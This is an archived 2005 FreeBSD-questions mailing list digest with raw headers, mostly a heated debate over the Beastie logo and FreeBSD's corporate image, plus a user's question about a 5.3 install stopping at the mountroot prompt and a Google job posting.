V6.00.2900.2180 Subject: Beastie Logo, humble thoughts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Jay Kinkade List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:41:39 -0000 Hey, could not help following this "beastie" logo thing in freeBSD-questions. Wow, who would have thought that all these usually sane, inovative, freeBSD loving posters could be so fierce. Good for them(you)! I thought the logo was anti-God when I first saw it and was afriad of it, in a way. After a while that feeling went away and was replaced with the feeling of pride and statisfaction of a great OS that is better than any other, that is, especially Windows. No matter how things turn out in the end, freeBSD is a solid OS and deserves to take it's rightful position in the market place. Face it things change. Not that I'm avocating this a a good or need change, however, one that should be carefully looked it from all angles, with the freeBSD projects best intentions in mind. That's my mind, thanks for listening. Jay Kinkade From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:42:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5910316A4CE for ; Sat, 12 Feb 2005 02:42:06 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0CABA43D39 for ; Sat, 12 Feb 2005 02:42:06 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CznER-0009El-HJ for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 19:42:03 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <1165567623.20050212033457@wanadoo.fr> References: <1108126229.4084.43.camel@localhost.localdomain> <2fd864e05021106537bdcff09@mail.gmail.com> <1108146951.31338.10.camel@hatter.wonderland.dn> <1935025570.20050211232605@wanadoo.fr> <420D5AC3.3000202@daleco.biz> <1165567623.20050212033457@wanadoo.fr> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 19:42:02 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:42:06 -0000 On Feb 11, 2005, at 7:34 PM, Anthony Atkielski wrote: > Kevin Kinsey writes: > >> IIRC, this was the sort of thing that caused a few people to >> killfile your address a couple years back. > > The sort of teenage-boy attitude that causes some people to killfile > others is one of the worst handicaps of the FreeBSD project. It is bad > enough that I hesitate to clearly recommend FreeBSD for any type of > serious use, simply because my reputation might suffer when anyone > using > the OS tries to actually talk to other users or persons involved with > the project. Give me a break. (See below) > > A case in point is the ridiculous argument and name-calling I see here > over Beastie. The kiddies are more worried about the fate of a cartoon > character than about the operating system it represents. When so many > people behave so petulantly over such trivial matters, it creates an > overall perception of immaturity that scares off serious potential > users > of the OS. One has the impression of trying to calm a classroom full of > first graders rather than discussing issues intelligently in a > conference room with professional peers. I can say with absolute > confidence that corporate decision makers who encounter this type of > behavior will permanently write off FreeBSD within minutes of seeing > it; > and I can't say that I blame them, as no CEO or CIO can afford to bet > millions of dollars on the capricious behavior of a bunch of > junior-high > kids. This is also ridiculous. No CEO or CIO is going to give a RAT's ASS about what is said in a mailing list about a particular product. If so, WIndows would have been dead years ago. (read some of the drivel posted in Windows mail lists). (On a related note: Balmer's big mouth hasn't killed Windows yet either). These mailing lists are not official mouthpieces of the FreeBSD project. If the FreeBSD projects website, official announcements, etc were like this, you'd have a case. But we are talking about a cross section of user's in unofficial channels. That does not mean a thing to these people. Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:42:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A42EE16A4D1 for ; Sat, 12 Feb 2005 02:42:40 +0000 (GMT) Received: from server2.sonservers.com (server2.sonservers.com [69.50.210.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 439CE43D41 for ; Sat, 12 Feb 2005 02:42:40 +0000 (GMT) (envelope-from info@sonservers.com) Received: from 209-181-158-172.omah.qwest.net ([209.181.158.172] helo=IBM-R40) by server2.sonservers.com with smtp (Exim 4.44 (FreeBSD)) id 1CznF1-0007Rn-GG for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 20:42:39 -0600 From: Scott To: X-Mailer: Barca 1.1 (850) - Licensed Version Date: Fri, 11 Feb 2005 20:42:33 -0600 Message-ID: <2005211204233.443160@IBM-R40> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server2.sonservers.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - sonservers.com X-Source: X-Source-Args: X-Source-Dir: Subject: Install 5.3 - Getting mountroot> prompt X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: info@sonservers.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:42:40 -0000 I will really appreciate it of someone can help me out. I am installing 5.3 on a dual p3 server. I have two 160 gig Seagate IDE drives on the first IDE connector, and a CD rom on the 2nd IDE connector. I have reinstalled several times with different drive configurations and keep getting stuck at the same place. At boot, the normal countdown loader comes up and it begins to boot. The boot message gets to this drive section below and then stops at a "mountroot>" prompt. Begin copy ....... ad0: 152627MB [310101/16/63] at ata0-master UDMA66 ad1: 152627MB [310101/16/63] at ata0-master UDMA66 acd0: at ata1-master PIO4 Manual root filesystem specification: : Mount using filesystem eg. usf:da0s1a ? List valid desk boot devices Abort manual input mountroot> ............ End copy If I type: ufs:ad0s1a at that "mountroot>" prompt, it will boot normally and as far as I can tell, all is working like I would expect. I suspected this may have something to do with my fstab but it looks normal to me: /dev/ad0s1b none swap sw 0 0 /dev/ad1s1b none swap sw 0 0 /dev/ad0s1a / ufs rw 1 1 /dev/ad1s1d /backup ufs rw 2 2 /dev/ad0s1d /tmp ufs rw 2 2 /dev/acd0 /cdrom cd9660 ro,noauto 0 0 Please let me know if I can provide more information that will help you help me know what to do to get it to automatically go on to boot ad0s1a. Thanks much, Scott From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:50:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 944F616A4CE for ; Sat, 12 Feb 2005 02:50:37 +0000 (GMT) Received: from 216-239-45-4.google.com (216-239-45-4.google.com [216.239.45.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2566143D31 for ; Sat, 12 Feb 2005 02:50:37 +0000 (GMT) (envelope-from todv@google.com) Received: from todvcorp (dhcp-172-24-75-128.corp.google.com [172.24.75.128]) (authenticated bits=0)j1C2oVGW011262 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Fri, 11 Feb 2005 18:50:31 -0800 Message-Id: <200502120250.j1C2oVGW011262@216-239-45-4.google.com> From: "Tod Vanlandingham" To: Date: Fri, 11 Feb 2005 18:50:31 -0800 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.6353 Thread-Index: AcUQrZ4WdBt2nCrbSkWTUu7uCBu3/w== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: (Google) Sr. Linux/Unix Release Engineer Opening X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:50:37 -0000 Please let me know if you are open to posting the job description below. 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Experience in database design and using SQL Strong familiarity with software configuration management systems/source code version control systems Ability to work well with developers, test engineers, and non- engineering personnel Strong organizational and communication skills, both verbal and written For immediate consideration, please send a MS Word/RTF Copy of your Resume to todv@google.com Important: The subject field of your email must include Release Engineer - Mountain View Thank you, Tod Vanlandingham Google Sourcer (650) 623-4291 todv@google.com Media Coverage: http://www.google.com/press/press.html Corporate Overview: http://www.google.com/corporate/index.html Top 10 Reasons to Work at Google: http://www.google.com/jobs/reasons.html From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 02:54:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DB23516A4CE for ; Sat, 12 Feb 2005 02:54:29 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5645D43D1F for ; Sat, 12 Feb 2005 02:54:29 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 85A471C0008A for ; Sat, 12 Feb 2005 03:54:28 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 2C9291C00084 for ; Sat, 12 Feb 2005 03:54:28 +0100 (CET) X-ME-UUID: 20050212025428182.2C9291C00084@mwinf1103.wanadoo.fr Date: Sat, 12 Feb 2005 03:54:27 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <847918814.20050212035427@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1108126229.4084.43.camel@localhost.localdomain> <2fd864e05021106537bdcff09@mail.gmail.com> <1108146951.31338.10.camel@hatter.wonderland.dn> <1935025570.20050211232605@wanadoo.fr> <420D5AC3.3000202@daleco.biz> <1165567623.20050212033457@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 02:54:30 -0000 Chad Leigh -- Shire.Net LLC writes: > This is also ridiculous. No CEO or CIO is going to give a RAT's ASS > about what is said in a mailing list about a particular product. Probably. But the problem is that there is nothing else with FreeBSD. If you want support, you post to a mailing list, and hope that someone answers you without abusing you or flying off the handle. You cannot call a toll number and have a cool-headed professional walk through your issue and solve the problem. You post to a list or a newsgroup and you pray. And as often as not, you get yelled at for daring to question the perfection of the OS rather than get a solution to your problem. Sorry, but that's no way to promote an OS. And yes, executives will see it, because there are no alternatives. And they will find out about it, because they'll ask their subordinates how the OS being suggested to them is supported when something goes wrong. And what does one tell them? "Well, you post to this list, and sometimes you can get a pretty good answer in a day or two, unless you say something they don't like, then they'll killfile you." Do any people on this list work in the corporate world? Do they ever prepare presentations to management? Do they ever have to do feasibility studies and justify their suggestions for acquisitions or changes? > If so, WIndows would have been dead years ago. Actually, Windows has been slow to penetrate the server market precisely because Microsoft still has some of the angry-young-male mentality. They've learned a lot over the decades, but they are still utterly clueless compared to companies like IBM. I've seen this firsthand. > On a related note: Balmer's big mouth hasn't killed Windows > yet either. Only because Gates built the company up into a successful multinational with a lot of inertia before Balmer took the helm. But that big mouth is still a liability for the company. Fortunately for Microsoft, most of the competition is just as clueless (look at people like Larry Ellison or Steve Jobs, and Balmer almost starts to look wise). > These mailing lists are not official mouthpieces of the FreeBSD > project. Where _is_ the official mouthpiece? CIOs want to know. Whom do you call? Who commits? Who signs on the dotted line? Not knowing these things makes executives nervous, and they don't adopt products that make them nervous, even if they are free. > If the FreeBSD projects website, official announcements, etc were like > this, you'd have a case. The Web site actually looks pretty amateurish compared to the competition. It screams "shareware hobbyist" rather than "enterprise solutions center." > But we are talking about a cross section of user's in unofficial > channels. That does not mean a thing to these people. It does when that's the only thing they can see. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:04:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3FCA716A4CE for ; Sat, 12 Feb 2005 03:04:07 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id DD91343D1D for ; Sat, 12 Feb 2005 03:04:06 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CznZk-000BCH-Qd for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 20:04:06 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <847918814.20050212035427@wanadoo.fr> References: <1108126229.4084.43.camel@localhost.localdomain> <2fd864e05021106537bdcff09@mail.gmail.com> <1108146951.31338.10.camel@hatter.wonderland.dn> <1935025570.20050211232605@wanadoo.fr> <420D5AC3.3000202@daleco.biz> <1165567623.20050212033457@wanadoo.fr> <847918814.20050212035427@wanadoo.fr> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 20:04:04 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:04:07 -0000 On Feb 11, 2005, at 7:54 PM, Anthony Atkielski wrote: >> On a related note: Balmer's big mouth hasn't killed Windows >> yet either. > > Only because Gates built the company up into a successful multinational > with a lot of inertia before Balmer took the helm. But that big mouth > is still a liability for the company. Fortunately for Microsoft, most > of the competition is just as clueless (look at people like Larry > Ellison or Steve Jobs, and Balmer almost starts to look wise). I am not a Steve lover, but lumping Jobs in there with Balmer and Ellison is not fair. Steve has a lot more respect than that and uses his bully-pulpit well. > >> These mailing lists are not official mouthpieces of the FreeBSD >> project. > > Where _is_ the official mouthpiece? CIOs want to know. Whom do you > call? Who commits? Who signs on the dotted line? Not knowing these > things makes executives nervous, and they don't adopt products that > make > them nervous, even if they are free. Linux has the same problem. Linux does have the advantage that their are *commercial companies* that have evolved around it, so you can purchase support from Novell, Red Hat, etc if you want. FreeBSD unfortunately does not have that branch available. However, your same criticisms of FreeBSD support also apply to Linux and it has been doing pretty well. >> If the FreeBSD projects website, official announcements, etc were like >> this, you'd have a case. > > The Web site actually looks pretty amateurish compared to the > competition. It screams "shareware hobbyist" rather than "enterprise > solutions center." Linux seems to be doing pretty good and look at www.kernel.org www.linux.org www.linux.com www.freebsd.org is not bad at all. It does not scream "shareware/hobbyist." It is reasonable for a project like FreeBSD. FreeBSD is an open source community project. Linux has the same problems as FreeBSD. Now, I agree with you about a logo needing to be designed for FreeBSD. And there are probably pay-for-support companies that will help you with FreeBSD, and maybe they need to get more "air time". But open source is catching on and FreeBSD doesn't suffer from anything that open source in general doesn't suffer from. Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:14:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ACE3216A4CE for ; Sat, 12 Feb 2005 03:14:18 +0000 (GMT) Received: from ms-smtp-02-eri0.socal.rr.com (ms-smtp-02-qfe0.socal.rr.com [66.75.162.134]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7D7A143D45 for ; Sat, 12 Feb 2005 03:14:18 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1C3ED6V023961; Fri, 11 Feb 2005 19:14:13 -0800 (PST) From: Robert Marella To: "Chad Leigh -- Shire.Net LLC" In-Reply-To: <0891B1BF-7C93-11D9-B134-000D933E3CEC@shire.net> References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4> <0891B1BF-7C93-11D9-B134-000D933E3CEC@shire.net> Content-Type: text/plain Date: Fri, 11 Feb 2005 17:17:33 -1000 Message-Id: <1108178253.46376.11.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:14:18 -0000 On Fri, 2005-02-11 at 18:11 -0700, Chad Leigh -- Shire.Net LLC wrote: > On Feb 11, 2005, at 5:34 PM, Robert Marella wrote: > > > On Fri, 2005-02-11 at 18:25 -0500, Jerry McAllister wrote: > >>> > >>> athony atkielski =~ /tm452\d/ ? > >> > >> I was beginning to suspect some such. > >> Maybe worse. > >> > >> ////jerry > >> > > Jerry and Eric > > > > If I can remember correctly, I have received help from both of you on > > some of my previous posts. I thank you and I always enjoy reading your > > view points. > > > > This post is no exception but I happen to find Anthony's views on this > > subject both provocative and right on the money. > > Jerry and Eric were not talking about Anthony and his views on the logo > issue when they wrote that. They were talking about his trolling posts > about the codebase and its legality and demanding an answer in this > forum instead of going to the people who could best answer him. > > I agree that Anthony is spot on with regards the logo. > > Chad > Jerry and Eric did not include any of Anthony's post with the above comment. They tagged him as a troll or worse they put him in with TM-whatever. As far as the codebase question, he was not the one to bring it up. If I can read between his lines, I understand that when you go in front of the suits you can't tell them RTFM. You have to explain why FreeBSD is head and shoulders above the leader of the pack. The Suits hold the purse strings. They read the newspaper. They see the advertisements. They hear the hype. They say, "We were thinking of an MS solution. Why would we use FreeBSD? What is wrong with Linux as an alternative". Anthony's legal questions were a normal continuation of the flow of this thread. I stand by my statement. I happen to find Anthony's views on this subject both provocative and right on the money. Robert From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:20:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2CC6316A4CE for ; Sat, 12 Feb 2005 03:20:16 +0000 (GMT) Received: from ms-smtp-02-eri0.socal.rr.com (ms-smtp-02-qfe0.socal.rr.com [66.75.162.134]) by mx1.FreeBSD.org (Postfix) with ESMTP id C90A143D1F for ; Sat, 12 Feb 2005 03:20:15 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j1C3KB6V027688; Fri, 11 Feb 2005 19:20:12 -0800 (PST) From: Robert Marella To: Eric Kjeldergaard In-Reply-To: References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> Content-Type: text/plain Date: Fri, 11 Feb 2005 17:23:31 -1000 Message-Id: <1108178611.46376.17.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: Jerry McAllister cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:20:16 -0000 On Fri, 2005-02-11 at 19:18 -0600, Eric Kjeldergaard wrote: > > If I can remember correctly, I have received help from both of you on > > some of my previous posts. I thank you and I always enjoy reading your > > view points. > > (speaking on behalf of Jerry as well as myself, and making some wild > assumptions about Jerry based on his previous posts) Always glad to > help. That's kind of what we are here for. > > > We have all run into a problem with a printer, NIC, scanner that is "not > > supported" by FreeBSD because the vendor will not release the drivers or > > code needed to build a driver. > > Actually, I haven't. I know some people that have, but generally > between using the hardware list and buying hardware that isn't > obscure, I have no problems with support for hardware. The FreeBSD > team goes way beyond my expectations again and again. Agreed, but have you never inherited control over a system with hardware you did not purchase? > > > The vendor could care less if our mascot is a daemon or Mount Fujiyama. > > The vendor looks at the bottom line. How much engineer/programmer time > > will it take and can I recover the investment. The vendor looks at the > > number of installed systems and the competition for his product and > > makes a _business_ decision. > > Seems about right. That is how capitalism functions.. > > > Anthony's point, and I agree, is that everything will grow when our OS > > is taken for its strengths. It is difficult to get to the point of our > > strengths when the Suits see a representation of what they perceive as; > > childish or anti-christ or cartoonish whether justified or not. First > > impressions are important. > > Might be true, though fBSD has come as far as it has without the aid > of these Suits in question. It's certainly not about to stop growth > without them. Growth is a natural thing. If we have 2% of the market and we grow 5% but the market grows 20%, we loose share. Vendors look at the market. We need to capture a larger share to make them sit up and take notice. > But I don't disagree that having more support from > people that matter would be nice. > > > P.S. I like beastie... but I like the OS much better! > > Same here. Though beastie is pretty seksii. > > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:20:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8A28B16A4CE for ; Sat, 12 Feb 2005 03:20:32 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0318A43D1D for ; Sat, 12 Feb 2005 03:20:32 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 39ACA1C00089 for ; Sat, 12 Feb 2005 04:20:31 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 091821C00088 for ; Sat, 12 Feb 2005 04:20:31 +0100 (CET) X-ME-UUID: 20050212032031373.091821C00088@mwinf1102.wanadoo.fr Date: Sat, 12 Feb 2005 04:20:30 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <102443233.20050212042030@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1108126229.4084.43.camel@localhost.localdomain> <2fd864e05021106537bdcff09@mail.gmail.com> <1108146951.31338.10.camel@hatter.wonderland.dn> <1935025570.20050211232605@wanadoo.fr> <420D5AC3.3000202@daleco.biz> <1165567623.20050212033457@wanadoo.fr> <847918814.20050212035427@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:20:32 -0000 Chad Leigh -- Shire.Net LLC writes: > I am not a Steve lover, but lumping Jobs in there with Balmer and > Ellison is not fair. Steve has a lot more respect than that and uses > his bully-pulpit well. Maybe. But none of them is a Lou Gerstner or Jack Welch or even a Carly Fiona (peace be upon her). > Linux has the same problem. Yes, to some extent, and it has suffered in the same way in consequence. But a lot of people are hyping Linux, some of them with money behind them, and many of them are not geeks, so the hype works. Linux is inferior to FreeBSD, and yet it is taken more seriously because of the atmosphere around it, despite its technical inferiority. > Linux does have the advantage that their are *commercial companies* > that have evolved around it, so you can purchase support from Novell, > Red Hat, etc if you want. Right. Linux is touted as "free," but in fact nobody uses anything free; everyone is buying distributions, directly or indirectly. > FreeBSD unfortunately does not have that branch available. However, > your same criticisms of FreeBSD support also apply to Linux and it has > been doing pretty well. Unless I'm mistaken, the commercial distributors of Linux offer paid support. There are people you can call. The quality of the support might be miserable, but the mere fact that it is there reassures many executives, because it makes them easier to offload responsibility. After all, Microsoft support is pretty bad and overpriced most of the time, but people still feel reassured by it. > Linux seems to be doing pretty good and look at > > www.kernel.org > www.linux.org > www.linux.com The first is on a par with www.freebsd.org; the others look a lot better. But I don't think decision makers are visiting these sites. They're more likely to be looking at the branded sites, like www.redhat.com, and those are still more pleasing to the eye. > www.freebsd.org is not bad at all. It does not scream > "shareware/hobbyist." It is reasonable for a project like FreeBSD. > FreeBSD is an open source community project. "Open source community" makes corporate people nervous. It's a synonym for "no accountability" and "no support." > Linux has the same problems as FreeBSD. To a lesser extent. There are marketroids and business types working on Linux. Linux is worse from a technical standpoint but better from a marketing standpoint. > Now, I agree with you about a logo needing to be designed for FreeBSD. > And there are probably pay-for-support companies that will help you > with FreeBSD, and maybe they need to get more "air time". But open > source is catching on and FreeBSD doesn't suffer from anything that > open source in general doesn't suffer from. True--although I disagree that open source is catching on. The true open-source model is fundamentally unstable and will gradually disappear form all but niche markets. Historically, nothing has ever been truly open-source for long, on a large scale. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 03:22:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4CDCB16A4CE for ; Sat, 12 Feb 2005 03:22:00 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 12E9A43D2D for ; Sat, 12 Feb 2005 03:22:00 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1Cznr5-000C94-Jf; Fri, 11 Feb 2005 20:21:59 -0700 In-Reply-To: <1108178253.46376.11.camel@p4> References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4> <0891B1BF-7C93-11D9-B134-000D933E3CEC@shire.net> <1108178253.46376.11.camel@p4> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <40E8D015-7CA5-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Fri, 11 Feb 2005 20:21:58 -0700 To: Robert Marella X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 03:22:00 -0000 On Feb 11, 2005, at 8:17 PM, Robert Marella wrote: > On Fri, 2005-02-11 at 18:11 -0700, Chad Leigh -- Shire.Net LLC wrote: >> On Feb 11, 2005, at 5:34 PM, Robert Marella wrote: >> >>> On Fri, 2005-02-11 at 18:25 -0500, Jerry McAllister wrote: >>>>> >>>>> athony atkielski =~ /tm452\d/ ? >>>> >>>> I was beginning to suspect some such. >>>> Maybe worse. >>>> >>>> ////jerry >>>> >>> Jerry and Eric >>> >>> If I can remember correctly, I have received help from both of you on >>> some of my previous posts. I thank you and I always enjoy reading >>> your >>> view points. >>> >>> This post is no exception but I happen to find Anthony's views on >>> this 